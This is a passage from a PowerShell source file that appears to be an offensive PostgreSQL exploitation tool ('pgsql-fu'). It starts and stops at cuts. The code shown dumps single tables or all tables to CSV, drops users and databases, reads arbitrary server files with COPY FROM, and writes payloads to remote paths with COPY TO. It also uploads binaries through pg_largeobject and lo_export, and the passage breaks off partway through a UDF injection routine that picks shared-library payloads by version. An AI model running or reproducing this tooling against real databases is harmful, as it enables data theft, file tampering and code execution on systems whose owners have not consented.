  674.             $dropUsrName = Read-Host "ENTER Username to DROP";
  675.             Write-Host "";
  676.             $sql = "DROP OWNED BY $($dropUsrName);";
  677.             $sqlResult = pgsql_query $connectionString $sql;
  678.             if($sqlResult.msg -eq "") {
  679.                 $sql = "DROP DATABASE $($dropUsrName);";
  680.                 $sqlResult = pgsql_query $connectionString $sql;
  681.                 $sql = "DROP USER $($dropUsrName);";
  682.                 $sqlResult = pgsql_query $connectionString $sql;
  683.                 if($sqlResult.msg -eq "") {
  684.                     Write-Host "[*] Successfully DROPPED User: $($dropUsrName)";
  685.                     $sqlResult = pgsql_query $connectionString "SELECT usename FROM pg_user;";
  686.                     if($sqlResult.msg -eq "") {
  687.                         Write-Host "[*] Updated Postgres User List: ";
  688.                         $usersOut = "[*] Current Postgres Users:`n";
  689.                         if($sqlResult.rowCount -eq 1) {
  690.                             Write-Host "   [+] $($sqlResult.result.usename)";
  691.                             $usersOut += "   [+] $($sqlResult.result.usename)`n";
  692.                         } else {
  693.                             foreach($row in $sqlResult.result) {
  694.                                 Write-Host "   [+] $($row.usename)";
  695.                                 $usersOut += "   [+] $($row.usename)`n";
  696.                             }
  697.                         }
  698.                         $usersOut += "`n";
  699.                         New-Item -path $outDir -Name "pgsqlfu-users.txt" -Value $usersOut -ItemType file -force | Out-Null;
  700.                     } else {
  701.                         Write-Host "[x] Problem Fetching Postgres User List`n`t$($sqlResult.msg)`n";
  702.                     }
  703.                 } else {
  704.                     Write-Host "[x] Problem DROPing User: $($dropUsrName)";
  705.                     $sqlResult.msg
  706.                 }
  707.             } else {
  708.                 Write-Host "[x] Problem DROPing User Owned Objects: $($dropUsrName)";
  709.                 $sqlResult.msg
  710.             }
  711.             Write-Host "";
  712.  
  713.         } elseif($userArg.ToLower() -match '^dump.tbl' -Or $userArg.ToLower() -match '^dump.table') {
  714.             $dbTblName = Read-Host "Enter Table Name to Dump";
  715.             Write-Host "";
  716.             $dumpOutDir = $outDir + "\dumps\";
  717.             if(!(Test-Path -PathType Container $dumpOutDir)) {
  718.                 New-Item -ItemType Directory -Force -Path $dumpOutDir | Out-Null;
  719.             }
  720.             $sql = "SELECT column_name FROM information_schema.columns WHERE table_name ='$($dbTblName)';";
  721.             $sqlResult = pgsql_query $connectionString $sql;
  722.             if($sqlResult.msg -eq "") {
  723.                 $clz = @();
  724.                 $columnz = {$clz}.Invoke();
  725.                 $sql = "SELECT ";
  726.                 foreach($row in $sqlResult.result) {
  727.                     $sql += "$($row.column_name),";
  728.                     $columnz.Add($row.column_name);
  729.                 }
  730.                 Write-Host "[*] Dumping $($dbTblName)...";
  731.                 $sql = $sql -replace ",$", "";
  732.                 $sql += " FROM $($dbTblName);";
  733.                 $sqlResult = pgsql_query $connectionString $sql;
  734.                 if($sqlResult.msg -eq "") {
  735.                     $out = "";
  736.                     foreach($col in $columnz) {
  737.                         $out += "$($col),";
  738.                     }
  739.                     $out = $out -replace ",$", "";
  740.                     $out += "`n";
  741.                     foreach($row in $sqlResult.result) {
  742.                         foreach($col in $columnz) {
  743.                             $cv = $row."$($col)";
  744.                             $out += "$($cv),";
  745.                         }
  746.                         $out = $out -replace ",$", "";
  747.                         $out += "`n";
  748.                     }
  749.                     New-Item -path $dumpOutDir -Name "$($dbTblName).csv" -Value $out -ItemType file -force | Out-Null;
  750.                     Write-Host "   [*] Table Dumped & Results Saved To:`n`t$($dumpOutDir)`n";
  751.                 } else {
  752.                     Write-Host "   [x] Problem Dumping Table";
  753.                     $sqlResult.msg
  754.                 }
  755.             } else {
  756.                 Write-Host "         [x] NO Columns/Data Returned";
  757.             }
  758.             Write-Host "";
  759.  
  760.         } elseif($userArg.ToLower() -match '^dump.db') {
  761.             $dbName = Read-Host "Enter Database (Schema) Name to Dump";
  762.             Write-Host "";
  763.             $dumpOutDir = $outDir + "\dumps\";
  764.             if(!(Test-Path -PathType Container $dumpOutDir)) {
  765.                 New-Item -ItemType Directory -Force -Path $dumpOutDir | Out-Null;
  766.             }
  767.             $sql = "SELECT table_catalog, table_name FROM information_schema.tables WHERE table_name LIKE '$($dbName)' ORDER BY table_schema,table_name;";
  768.             $sqlResult = pgsql_query $connectionString $sql;
  769.             if($sqlResult.msg -eq "") {
  770.                 $d = @(); $s = @();
  771.                 $knowndbs = {$d}.Invoke();
  772.                 $knowncatalogs = {$d}.Invoke();
  773.                 foreach($row in $sqlResult.result) {
  774.                     if($knowncatalogs -notcontains $row.table_catalog) {
  775.                         if($knowncatalogs.Count -gt 0) { Write-Host ""; }
  776.                         $knowncatalogs.Add($row.table_catalog);
  777.                         Write-Host "[*] Dumping ALL Available Tables in DB (Schema): $($dbName)";
  778.                         Write-Host "   [+] Catalog: $($row.table_catalog)";
  779.                     }
  780.                     Write-Host "   [-] Dumping TABLE: $($row.table_name)";
  781.                     $clz = @();
  782.                     $columnz = {$clz}.Invoke();
  783.                     $sql = "SELECT column_name FROM information_schema.columns WHERE table_catalog='$($row.table_catalog)' AND table_schema='$($row.table_schema)' AND table_name ='$($row.table_name)';";
  784.                     $sqlResult2 = pgsql_query $connectionString $sql;
  785.                     if($sqlResult2.msg -eq "") {
  786.                         $sql = "SELECT ";
  787.                         foreach($row2 in $sqlResult2.result) {
  788.                             $columnz.Add($row2.column_name);
  789.                             $sql += "$($row2.column_name),"
  790.                         }
  791.                         $sql = $sql -replace ",$", "";
  792.                         $sql += " FROM $($row.table_name);";
  793.                         $sqlResult3 = pgsql_query $connectionString $sql;
  794.                         if($sqlResult3.msg -eq "") {
  795.                             $out = "";
  796.                             foreach($col in $columnz) {
  797.                                 $out += "$($col),";
  798.                             }
  799.                             $out = $out -replace ",$", "";
  800.                             $out += "`n";
  801.                             foreach($row3 in $sqlResult3.result) {
  802.                                 foreach($col in $columnz) {
  803.                                     $cv = $row3."$($col)";
  804.                                     $out += "$($cv),";
  805.                                 }
  806.                                 $out = $out -replace ",$", "";
  807.                                 $out += "`n";
  808.                             }
  809.                             New-Item -path $dumpOutDir -Name "$($row.table_catalog).$($row.table_schema).$($row.table_name).csv" -Value $out -ItemType file -force | Out-Null;
  810.                             Write-Host "         [*] Table Dumped"
  811.                         } else {
  812.                             Write-Host "         [x] Problem Dumping Table"
  813.                             $sqlResult.msg
  814.                         }                      
  815.                     } else {
  816.                         Write-Host "         [x] NO Columns/Data Returned";
  817.                     }                  
  818.                 }
  819.                 Write-Host "`n[*] Results Saved To:`n`t$($dumpOutDir)`n";
  820.             } else {
  821.                 Write-Host "[x] Problem Fetching Columns";
  822.                 $sqlResult.msg
  823.             }          
  824.             Write-Host "";
  825.  
  826.         } elseif($userArg.ToLower() -match '^dump.all') {
  827.             $dumpOutDir = $outDir + "\dumps\";
  828.             if(!(Test-Path -PathType Container $dumpOutDir)) {
  829.                 New-Item -ItemType Directory -Force -Path $dumpOutDir | Out-Null;
  830.             }
  831.             $sql = "SELECT table_catalog, table_schema,table_name FROM information_schema.tables ORDER BY table_schema,table_name;";
  832.             $sqlResult = pgsql_query $connectionString $sql;
  833.             if($sqlResult.msg -eq "") {
  834.                 $d = @(); $s = @();
  835.                 $knowndbs = {$d}.Invoke();
  836.                 $knowncatalogs = {$d}.Invoke();
  837.                 Write-Host "[*] Dumping ALL Available Catalog, Schema, Tables & Columns...";
  838.                 foreach($row in $sqlResult.result) {
  839.                     if($knowncatalogs -notcontains $row.table_catalog) {
  840.                         if($knowncatalogs.Count -gt 0) { Write-Host ""; }
  841.                         $knowncatalogs.Add($row.table_catalog);
  842.                         Write-Host "   [+] Dumping CATALOG: $($row.table_catalog)";
  843.                     }
  844.                     if($knowndbs -notcontains $row.table_schema) {
  845.                         $knowndbs.Add($row.table_schema);
  846.                         Write-Host "      [+] Dumping SCHEMA: $($row.table_schema)";
  847.                     }
  848.                     Write-Host "         [-] Dumping TABLE: $($row.table_name)";
  849.                     $clz = @();
  850.                     $columnz = {$clz}.Invoke();
  851.                     $sql = "SELECT column_name FROM information_schema.columns WHERE table_catalog='$($row.table_catalog)' AND table_schema='$($row.table_schema)' AND table_name ='$($row.table_name)';";
  852.                     $sqlResult2 = pgsql_query $connectionString $sql;
  853.                     if($sqlResult2.msg -eq "") {
  854.                         $sql = "SELECT ";
  855.                         foreach($row2 in $sqlResult2.result) {
  856.                             $columnz.Add($row2.column_name);
  857.                             $sql += "$($row2.column_name),"
  858.                         }
  859.                         $sql = $sql -replace ",$", "";
  860.                         $sql += " FROM $($row.table_name);";
  861.                         $sqlResult3 = pgsql_query $connectionString $sql;
  862.                         if($sqlResult3.msg -eq "") {
  863.                             $out = "";
  864.                             foreach($col in $columnz) {
  865.                                 $out += "$($col),";
  866.                             }
  867.                             $out = $out -replace ",$", "";
  868.                             $out += "`n";
  869.                             foreach($row3 in $sqlResult3.result) {
  870.                                 foreach($col in $columnz) {
  871.                                     $cv = $row3."$($col)";
  872.                                     $out += "$($cv),";
  873.                                 }
  874.                                 $out = $out -replace ",$", "";
  875.                                 $out += "`n";
  876.                             }
  877.                             New-Item -path $dumpOutDir -Name "$($row.table_catalog).$($row.table_schema).$($row.table_name).csv" -Value $out -ItemType file -force | Out-Null;
  878.                             Write-Host "            [*] Table Dumped"
  879.                         } else {
  880.                             Write-Host "            [x] Problem Dumping Table"
  881.                             $sqlResult.msg
  882.                         }                      
  883.                     } else {
  884.                         Write-Host "            [x] NO Columns Returned";
  885.                     }                  
  886.                 }
  887.                 Write-Host "`n[*] Results Saved To:`n`t$($dumpOutDir)`n";
  888.             } else {
  889.                 Write-Host "[x] Problem Fetching Columns by Database, Schema, Tables";
  890.                 $sqlResult.msg
  891.             }          
  892.             Write-Host "";
  893.  
  894.         } elseif($userArg.ToLower() -match '^read$' -Or $userArg.ToLower() -match '^read.file') {
  895.             $fileOutDir = $outDir + "\files\";
  896.             if(!(Test-Path -PathType Container $fileOutDir)) {
  897.                 New-Item -ItemType Directory -Force -Path $fileOutDir | Out-Null;
  898.             }
  899.             Write-Host "[*] Dropping to File Reader Shell";
  900.             Write-Host "   [+] Enter path to file to read";
  901.             Write-Host "   [+] Type EXIT or QUIT to end file reader session...`n`n"
  902.             While($True) {
  903.                 $fileArg = Read-Host "(pgsql-fu\file_reader)>";
  904.                 Write-Host "";
  905.                 if($fileArg.ToLower() -eq 'x' -Or $fileArg.ToLower() -eq 'exit' -Or $fileArg.ToLower() -eq 'quit') {
  906.                     Write-Host "[x] OK, closing file reader session...`n`n";
  907.                     Break;
  908.                    
  909.                 } elseif($fileArg.ToLower() -eq '?' -Or $fileArg.ToLower() -eq 'h' -Or $fileArg.ToLower() -eq 'help') {
  910.                     Write-Host "[*] pgSQL File Reader:";
  911.                     Write-Host "   [+] Simply type the full path to file to read & hit enter";
  912.                     Write-Host "   [+] Type EXIT or QUIT to end file reader session...`n`n";
  913.                    
  914.                 } elseif($fileArg.ToLower() -eq 'cls' -Or $fileArg.ToLower() -eq 'clear') {
  915.                     PrintBanner;
  916.                    
  917.                 } elseif($fileArg.ToLower() -match '^load (.+)$') {
  918.                     $loadFileFile = $matches[1];
  919.                     if(Test-Path -Path $loadFileFile) {
  920.                         $filez = Get-Content -Path $loadFileFile;
  921.                         foreach($f in $filez) {
  922.                             $rand = randz 8;
  923.                             $sql = "CREATE TABLE $($rand)(fileContent text); COPY $($rand) FROM '$($f)'; SELECT * FROM $($rand);";
  924.                             $sql2 = "DROP TABLE $($rand);";
  925.                             $sqlResult = pgsql_query $connectionString $sql;
  926.                             if($sqlResult.result -ne $NULL) {
  927.                                 $fileOut = "";
  928.                                 try {
  929.                                     foreach($obj in $sqlResult.result) {
  930.                                         if($obj[0] -ne "" -And $obj[0] -ne $NULL) {
  931.                                             $fileOut += [System.Text.Encoding]::ASCII.GetString($obj[0]);
  932.                                         }
  933.                                     }
  934.                                     $sqlResult = pgsql_query $connectionString $sql2;
  935.                                     Write-Host "[*] FILE: $($f)";
  936.                                     Write-Host "[+] FILE CONTENT:";
  937.                                     Write-Host $fileOut;
  938.                                     $filename = $f -replace "\\\\", "\\";
  939.                                     $filename = $filename -replace "[/\\\|]", "_";
  940.                                     $filename = $filename -replace "\[\+\{\}=';\:<>,\*&\^%\$#@!~`\]", "";
  941.                                     $filename = $filename -replace '"', "";
  942.                                     $filename = $filename.Replace(':', "");
  943.                                     New-Item -path $fileOutDir -Name "mysqlfu-read.file-$($filename).txt" -Value $fileOut -ItemType file -force | Out-Null;
  944.                                 } catch {
  945.                                     Write-Host "   [x] Failed: $($f)";
  946.                                 }
  947.                             }                          
  948.                         }                      
  949.                     } else {
  950.                         Write-Host "[x] Unable to load file: $loadFileFile";
  951.                         Write-Host "   [x] Check path or permissions and try again...`n`n";
  952.                     }
  953.                 } else {
  954.                     $rand = randz 8;
  955.                     $sql = "CREATE TABLE $($rand)(fileContent text); COPY $($rand) FROM '$($fileArg)'; SELECT * FROM $($rand);";
  956.                     $sql2 = "DROP TABLE $($rand);";
  957.                     $sqlResult = pgsql_query $connectionString $sql;
  958.                     $fileOut = "";
  959.                     if($sqlResult.result -ne $NULL) {
  960.                         try {
  961.                             foreach($row in $sqlResult.result) {
  962.                                 $fileOut += "$($row[0])`n";
  963.                             }
  964.                             $sqlResult = pgsql_query $connectionString $sql2;
  965.                             Write-Host "[*] FILE: $($fileArg)";
  966.                             Write-Host "[*] FILE CONTENT:";
  967.                             Write-Host $fileOut;
  968.                             $filename = $fileArg -replace "\\\\", "\\";
  969.                             $filename = $filename -replace "[/\\\|]", "_";
  970.                             $filename = $filename -replace "\[\+\{\}=';\:<>,\*&\^%\$#@!~`\]", "";
  971.                             $filename = $filename -replace '"', "";
  972.                             $filename = $filename.Replace(':', "");
  973.                             New-Item -path $fileOutDir -Name "pgsqlfu-read.file-$($filename).txt" -Value $fileOut -ItemType file -force | Out-Null;
  974.                         } catch {
  975.                             Write-Host "      [x] Problem Returning Results";
  976.                             Write-Host "         [x] Check path & that path is properly escaped OR file may not exist!";
  977.                         }                      
  978.                     } else {
  979.                         Write-Host "      [x] No Results Returned";
  980.                     }                  
  981.                 }
  982.                 Write-Host "";
  983.             }
  984.             Write-Host "";
  985.            
  986.         } elseif($userArg.ToLower() -match '^write$' -Or $userArg.ToLower() -match '^write.file') {
  987.             While($True) {
  988.                 Write-Host "[*] Write Payload Options: ";
  989.                 Write-Host "   [1] Load content from a local file";
  990.                 Write-Host "   [2] Type in content to terminal";
  991.                 Write-Host "   [x] Exit File Writer Session`n";
  992.                 $writeArg = Read-Host "ENTER Write Payload Option";
  993.                 Write-Host "";
  994.                 if($writeArg -eq "1") {
  995.                     $writeArg = Read-Host "ENTER Path to Local File";
  996.                     $writeContent = convertFileContentToHexStr $writeArg;
  997.                     Write-Host "";
  998.                     While($True) {
  999.                         Write-Host "[*] Write Path Options: ";
  1000.                         Write-Host "   [1] Provide Single Path to Write To";
  1001.                         Write-Host "   [2] Load Directory Paths to Write to From File`n";
  1002.                         $writePathArg = Read-Host "ENTER Write Path Option";
  1003.                         Write-Host "";
  1004.                         if($writePathArg -eq "1") {
  1005.                             Write-Host "[NOTE] Recommand Using Datadir:`n`t$($basicInfo.datadir)`n";
  1006.                             $writeRemoteFilename = Read-Host "ENTER Remote Path w/Filename to Write";
  1007.                             Write-Host "`n[*] OK, attempting write to: $writeRemoteFilename";
  1008.                             $rand = randz 8;
  1009.                             $sql  = "CREATE TABLE $($rand)(mycol text); INSERT INTO $($rand)(mycol) VALUES(encode(decode('$($writeContent)', 'hex'), 'escape')); COPY $($rand)(mycol) TO '$($writeRemoteFilename)';";
  1010.                             $sql2 = "DROP TABLE $($rand);";
  1011.                             $sqlResult = pgsql_query $connectionString $sql;
  1012.                             if($sqlResult.msg -eq "") {
  1013.                                 Write-Host "   [*] Content appears to have been written to pgSQL host!`n`n";
  1014.                             } else {
  1015.                                 Write-Host "   [x] Problem Writing File Content to pgSQL Host"
  1016.                                 $sqlResult.msg;
  1017.                             }
  1018.                             $sqlResult = pgsql_query $connectionString $sql2;                          
  1019.                         } elseif($writePathArg -eq "2") {
  1020.                             While($True) {
  1021.                                 $pathArg = Read-Host "ENTER local file to load write paths from";
  1022.                                 Write-Host "";
  1023.                                 if($pathArg.ToLower() -eq 'x' -Or $pathArg.ToLower() -eq 'quit' -Or $pathArg.ToLower() -eq 'exit') { Break; }
  1024.                                 if(Test-Path -Path $pathArg) {
  1025.                                     $fileNameArg = Read-Host "ENTER Filename to Write w/Path(s)";
  1026.                                     Write-Host "";
  1027.                                     $paths = Get-Content -Path $pathArg;
  1028.                                     foreach($path in $paths) {
  1029.                                         $writeRemoteFilename = $path + $fileNameArg;
  1030.                                         Write-Host "[*] Attempting write to: $writeRemoteFilename";
  1031.                                         $rand = randz 8;
  1032.                                         $sql  = "CREATE TABLE $($rand)(mycol text); INSERT INTO $($rand)(mycol) VALUES(encode(decode('$($writeContent)', 'hex'), 'escape')); COPY $($rand)(mycol) TO '$($writeRemoteFilename)';";
  1033.                                         $sql2 = "DROP TABLE $($rand);";
  1034.                                         $sqlResult = pgsql_query $connectionString $sql;
  1035.                                         if($sqlResult.msg -eq "") {
  1036.                                             Write-Host "   [SUCCESS] Payload Written To:`n`t`t$($writeRemoteFilename)";
  1037.                                         } else {
  1038.                                             Write-Host "   [x] Failed to write to: $($writeRemoteFilename)";
  1039.                                         }
  1040.                                         $sqlResult = pgsql_query $connectionString $sql2;
  1041.                                     }
  1042.                                     Break;
  1043.                                 } else {
  1044.                                     Write-Host "   [x] Unable to read file";
  1045.                                     Write-Host "      [x] Check path or file permissions and try again....`n`n";
  1046.                                 }
  1047.                             }
  1048.                         } elseif($writePathArg.ToLower() -eq 'x' -Or $writePathArg.ToLower() -eq 'quit' -Or $writePathArg.ToLower() -eq 'exit') {
  1049.                             Break;
  1050.                         } else {
  1051.                             Write-Host "   [x] Invalid Write Path Option: $writePathArg";
  1052.                             Write-Host "      [x] Try again with a valid option....`n`n";
  1053.                         }
  1054.                     }                  
  1055.                 } elseif($writeArg -eq "2") {
  1056.                     $writeArg = Read-Host "ENTER Content to Write";
  1057.                     $writeContent = convertStrToHex $writeArg;
  1058.                     Write-Host "";
  1059.                     While($True) {
  1060.                         Write-Host "[*] Write Path Options: ";
  1061.                         Write-Host "   [1] Provide Single Path to Write To";
  1062.                         Write-Host "   [2] Load Paths to Write to From File`n";
  1063.                         $writePathArg = Read-Host "ENTER Write Path Option";
  1064.                         Write-Host "";
  1065.                         if($writePathArg -eq "1") {
  1066.                             Write-Host "[NOTE] Recommand Using Datadir:`n`t$($basicInfo.datadir)`n";
  1067.                             $writeRemoteFilename = Read-Host "ENTER Remote Path w/Filename to Write";
  1068.                             Write-Host "`n[*] OK, attempting write to: $writeRemoteFilename";
  1069.                             $rand = randz 8;
  1070.                             $sql  = "CREATE TABLE $($rand)(mycol text); INSERT INTO $($rand)(mycol) VALUES(encode(decode('$($writeContent)', 'hex'), 'escape')); COPY $($rand)(mycol) TO '$($writeRemoteFilename)';";
  1071.                             $sql2 = "DROP TABLE $($rand);";
  1072.                             $sqlResult = pgsql_query $connectionString $sql;
  1073.                             if($sqlResult.msg -eq "") {
  1074.                                 Write-Host "   [*] Content appears to have been written to pgSQL host!`n`n";
  1075.                             } else {
  1076.                                 Write-Host "   [x] Problem Writing File Content to pgSQL Host";
  1077.                                 $sqlResult.msg;
  1078.                             }
  1079.                             $sqlResult = pgsql_query $connectionString $sql2;
  1080.                             Break;
  1081.                         } elseif($writePathArg -eq "2") {
  1082.                             While($True) {
  1083.                                 $pathArg = Read-Host "ENTER local file to load write paths from";
  1084.                                 Write-Host "";
  1085.                                 if($pathArg.ToLower() -eq 'x' -Or $pathArg.ToLower() -eq 'quit' -Or $pathArg.ToLower() -eq 'exit') { Break; }
  1086.                                 if(Test-Path -Path $pathArg) {
  1087.                                     $fileNameArg = Read-Host "ENTER filename to use with paths";
  1088.                                     Write-Host "";
  1089.                                     Write-Host "[*] Attempting file writes...";
  1090.                                     $paths = Get-Content -Path $pathArg;
  1091.                                     foreach($path in $paths) {
  1092.                                         $writeRemoteFilename = $path + $fileNameArg;
  1093.                                         $rand = randz 8;
  1094.                                         $sql  = "CREATE TABLE $($rand)(mycol text); INSERT INTO $($rand)(mycol) VALUES(encode(decode('$($writeContent)', 'hex'), 'escape')); COPY $($rand)(mycol) TO '$($writeRemoteFilename)';";
  1095.                                         $sql2 = "DROP TABLE $($rand);";
  1096.                                         $sqlResult = pgsql_query $connectionString $sql;
  1097.                                         if($sqlResult.msg -eq "") {
  1098.                                             Write-Host "   [SUCCESS] Payload Written To:`n`t$($writeRemoteFilename)";
  1099.                                         } else {
  1100.                                             Write-Host "   [x] Failed to write to: $($writeRemoteFilename)";
  1101.                                         }
  1102.                                         $sqlResult = pgsql_query $connectionString $sql2;
  1103.                                     }
  1104.                                     Write-Host "`n";
  1105.                                     Break;
  1106.                                 } else {
  1107.                                     Write-Host "   [x] Unable to read file";
  1108.                                     Write-Host "      [x] Check path or file permissions and try again....`n`n";
  1109.                                 }
  1110.                             }
  1111.                             Break;
  1112.                         } elseif($writePathArg.ToLower() -eq 'x' -Or $writePathArg.ToLower() -eq 'quit' -Or $writePathArg.ToLower() -eq 'exit') {
  1113.                             Break;
  1114.                         } else {
  1115.                             Write-Host "   [x] Invalid Write Path Option: $writePathArg";
  1116.                             Write-Host "      [x] Try again with a valid option....`n`n";
  1117.                         }
  1118.                     }
  1119.                 } elseif($writeArg.ToLower() -eq "x" -Or $writeArg.ToLower() -eq "quit" -Or $writeArg.ToLower() -eq "exit") {
  1120.                     Write-Host "   [x] OK, exiting file writer session...`n";
  1121.                     Break;
  1122.                 } else {
  1123.                     Write-Host "[x] Invalid Write Option: $writeArg";
  1124.                     Write-Host "   [x] Please select a valid Write option...`n";
  1125.                 }
  1126.             }
  1127.             Write-Host "";
  1128.            
  1129.         } elseif($userArg.ToLower() -match '^write.bin$' -Or $userArg.ToLower() -match '^bin.write$') {
  1130.             $binPathArg = Read-Host "ENTER Path to LOCAL Binary FIle";
  1131.             Write-Host "";
  1132.             if(Test-Path -Path $binPathArg) {
  1133.                 $writeRemoteFilename = Read-Host "ENTER Remote Path & Filename to Write";
  1134.                 Write-Host "";
  1135.                 $writeContent = [System.IO.File]::ReadAllBytes($binPathArg);
  1136.                 $sql = "SELECT lo_creat(-1);";
  1137.                 $sqlResult = pgsql_query $connectionString $sql;
  1138.                 if($sqlResult.msg -eq "") {
  1139.                     $oid = "";
  1140.                     foreach($row in $sqlResult.result) {
  1141.                         $oid = $row[0];
  1142.                     }
  1143.                     $sql2 = "DELETE FROM pg_largeobject WHERE loid=$($oid);";
  1144.                     $sqlResult = pgsql_query $connectionString $sql2;
  1145.                     $ch = @();
  1146.                     $x=0; $y=$z=2048;
  1147.                     $counter = 0;
  1148.                     $chunks = {$ch}.Invoke();
  1149.                     $max = $writeContent.Count;
  1150.                     Write-Host "`n[DEBUG]";
  1151.                     Write-Host "`n[OID] $oid`n[MAX] $max`n";
  1152.                     While($counter -lt $max) {
  1153.                         if($y -gt $max) {
  1154.                             $chunk = $writeContent[$x..($max - 1)];
  1155.                             Break;
  1156.                         } else {
  1157.                             $chunk = $writeContent[$x..($y - 1)];
  1158.                         }
  1159.                         $Base64String = [System.Convert]::ToBase64String($chunk);
  1160.                         Write-Host "[$counter]-[$x]-[$($y - 1)]-[$($chunk.Length)] Added Chunk Size: $($Base64String.Length)";
  1161.                         $chunks.Add($Base64String);
  1162.                         $x = $x + $z;
  1163.                         $y = $y + $z;
  1164.                         $counter++;
  1165.                     }              
  1166.                     Write-Host "[?] Total Chunks: $($chunks.Count)`n[DEBUG]`n"
  1167.                    
  1168.                     for($i=0; $i -lt $chunks.Count; $i++) {
  1169.                         $sql3 = "INSERT INTO pg_largeobject (loid,pageno,data) VALUES($oid, $i, decode('$($chunks[$i])', 'base64'))";
  1170.                         $sqlResult = pgsql_query $connectionString $sql3;
  1171.                         if($sqlResult.msg -ne "") {
  1172.                             Write-Host "   [x] Problem Inserting Payload Data Into Table";
  1173.                             Write-Host "      [x] Payload will NOT work now...";
  1174.                             $sqlResult.msg;
  1175.                         }
  1176.                     }
  1177.                     $sql4 = "SELECT lo_export($($oid), '$($writeRemoteFilename)')";
  1178.                     $sqlResult = pgsql_query $connectionString $sql4;
  1179.                     if($sqlResult.msg -eq "") {
  1180.                         $sql5 = "DELETE FROM pg_largeobject WHERE loid=$($oid);";
  1181.                         $sqlResult = pgsql_query $connectionString $sql5;
  1182.                         Write-Host "   [*] Payload Successfully Written to pgSQL Host:`n`t$($writeRemoteFilename)`n";      
  1183.                     } else {
  1184.                         Write-Host "   [x] Problem Writing Content to pgSQL Host"
  1185.                         $sqlResult.msg
  1186.                     }
  1187.                 } else {
  1188.                     Write-Host "   [x] Unable to write binary payload to target"
  1189.                     Write-Host "      [x] Problem Obtaining ObjectID Handle"
  1190.                     $sqlResult.msg;
  1191.                 }
  1192.             } else {
  1193.                 Write-Host "[x] Unable to Load Binary File: $($binPathArg)";
  1194.                 Write-Host "   [x] Check path or permissions and try again...`n";
  1195.             }
  1196.             Write-Host "";
  1197.  
  1198.         } elseif($userArg.ToLower() -match '^udf') {
  1199.             $supported = $False;
  1200.             $vcheck = $basicInfo.serverVersion[0..2] -Join "";
  1201.             $binPathArg = (Get-Item -Path ".\" -Verbose).FullName + "\payloads\UDF\postgresql\";
  1202.             $basePath = $binPathArg;
  1203.             if($basicInfo.os -eq "Windows") {
  1204.                 $binPathArg += "windows\32"
  1205.                 $filename = "lib_postgresqludf_sys.dll";
  1206.                 if($vcheck -eq "8.2") {
  1207.                     $supported = $True;
  1208.                     $binPathArg += "\8.2\lib_postgresqludf_sys.dll";
  1209.                 } elseif($vcheck -eq "8.3") {
  1210.                     $supported = $True;
  1211.                     $binPathArg += "\8.3\lib_postgresqludf_sys.dll";
  1212.                 } elseif($vcheck -eq "8.4") {
  1213.                     $supported = $True;
  1214.                     $binPathArg += "\8.4\lib_postgresqludf_sys.dll";
  1215.                 } elseif($vcheck -match "^9.") {
  1216.                     $supported = $True;
  1217.                     $binPathArg += "\9.0\lib_postgresqludf_sys.dll";
  1218.                 }  
  1219.             } else {
  1220.                 if($basicInfo.arch -match '(?i)32-bit') {
  1221.                     $binPathArg += "linux\32"
  1222.                 } else {
  1223.                     $binPathArg += "linux\64"
  1224.                 }
  1225.                 $filename = "lib_postgresqludf_sys.so";
  1226.                 if($vcheck -eq "8.2") {
  1227.                     $supported = $True;
  1228.                     $binPathArg += "\8.2\lib_postgresqludf_sys.so";
  1229.                 } elseif($vcheck -eq "8.3") {
  1230.                     $supported = $True;
  1231.                     $binPathArg += "\8.3\lib_postgresqludf_sys.so";
  1232.                 } elseif($vcheck -eq "8.4") {
  1233.                     $supported = $True;
  1234.                     $binPathArg += "\8.4\lib_postgresqludf_sys.so";
  1235.                 } elseif($vcheck -eq "9.0") {
  1236.                     $supported = $True;
  1237.                     $binPathArg += "\9.0\lib_postgresqludf_sys.so";
  1238.                 } elseif($vcheck -eq "9.1") {
  1239.                     $supported = $True;
  1240.                     $binPathArg += "\9.1\lib_postgresqludf_sys.so";
  1241.                 } elseif($vcheck -eq "9.2") {
  1242.                     $supported = $True;
  1243.                     $binPathArg += "\9.2\lib_postgresqludf_sys.so";
  1244.                 } elseif($vcheck -eq "9.3") {
  1245.                     $supported = $True;
  1246.                     $binPathArg += "\9.3\lib_postgresqludf_sys.so";
  1247.                 } elseif($vcheck -eq "9.4") {
  1248.                     $supported = $True;
  1249.                     $binPathArg += "\9.4\lib_postgresqludf_sys.so";
  1250.                 }
  1251.             }
  1252.             if($supported) {
  1253.                 Write-Host "[*] Recommended Write Path: ";
  1254.                 if($basicInfo.os -eq "Windows") {
  1255.                     Write-Host "   [+] DataDir:`n`t$($basicInfo.datadir)/$($filename)";
  1256.                     Write-Host "   [+] Temp:`n`tc:/windows/temp/$($filename)";
  1257.                 } else {
  1258.                     Write-Host "   [+] Tmp: \tmp\$($filename)";
  1259.                 }
  1260.                 Write-Host "";
  1261.                 $writeRemoteFilename = Read-Host "ENTER Remote Path & Filename for UDF Write";
  1262.                 Write-Host "";
  1263.                 if(Test-Path -Path $binPathArg) {
  1264.                     $writeContent = [System.IO.File]::ReadAllBytes($binPathArg);
  1265.                     Write-Host "[*] Postgres UDF Injection:";
  1266.                     Write-Host "   [+] Payload: $($binPathArg.Replace($basePath, '.\'))";
  1267.                     Write-Host "   [+] Write Location: $($writeRemoteFilename)`n";
  1268.                     Write-Host "[*] Attempting UDF Injection...";
  1269.                     $sql = "SELECT lo_creat(-1);";
  1270.                     $sqlResult = pgsql_query $connectionString $sql;
  1271.                     if($sqlResult.msg -eq "") {
  1272.                         $oid = "";
  1273.                         foreach($row in $sqlResult.result) {
  1274.                             $oid = $row[0];
  1275.                         }
  1276.                         $sql2 = "DELETE FROM pg_largeobject WHERE loid=$($oid);";
  1277.                         $sqlResult = pgsql_query $connectionString $sql2;
  1278.                         $ch = @();
  1279.                         $x=0; $y=$z=2048;
  1280.                         $counter = 0;
  1281.                         $chunks = {$ch}.Invoke();
  1282.                         $max = $writeContent.Count;
  1283.                         Write-Host "`n[DEBUG]";
  1284.                         Write-Host "`n[OID] $oid`n[MAX] $max`n";
  1285.                         While($counter -lt $max) {
  1286.                             if($y -gt $max) {
  1287.                                 $chunk = $writeContent[$x..($max - 1)];
  1288.                                 Break;
  1289.                             } else {
  1290.                                 $chunk = $writeContent[$x..($y - 1)];
  1291.                             }
  1292.                             $Base64String = [System.Convert]::ToBase64String($chunk);
  1293.                             Write-Host "[$counter]-[$x]-[$($y - 1)]-[$($chunk.Length)] Added Chunk Size: $($Base64String.Length)";
  1294.                             $chunks.Add($Base64String);
  1295.                             $x = $x + $z;
  1296.                             $y = $y + $z;
  1297.                             $counter++;
  1298.                         }              
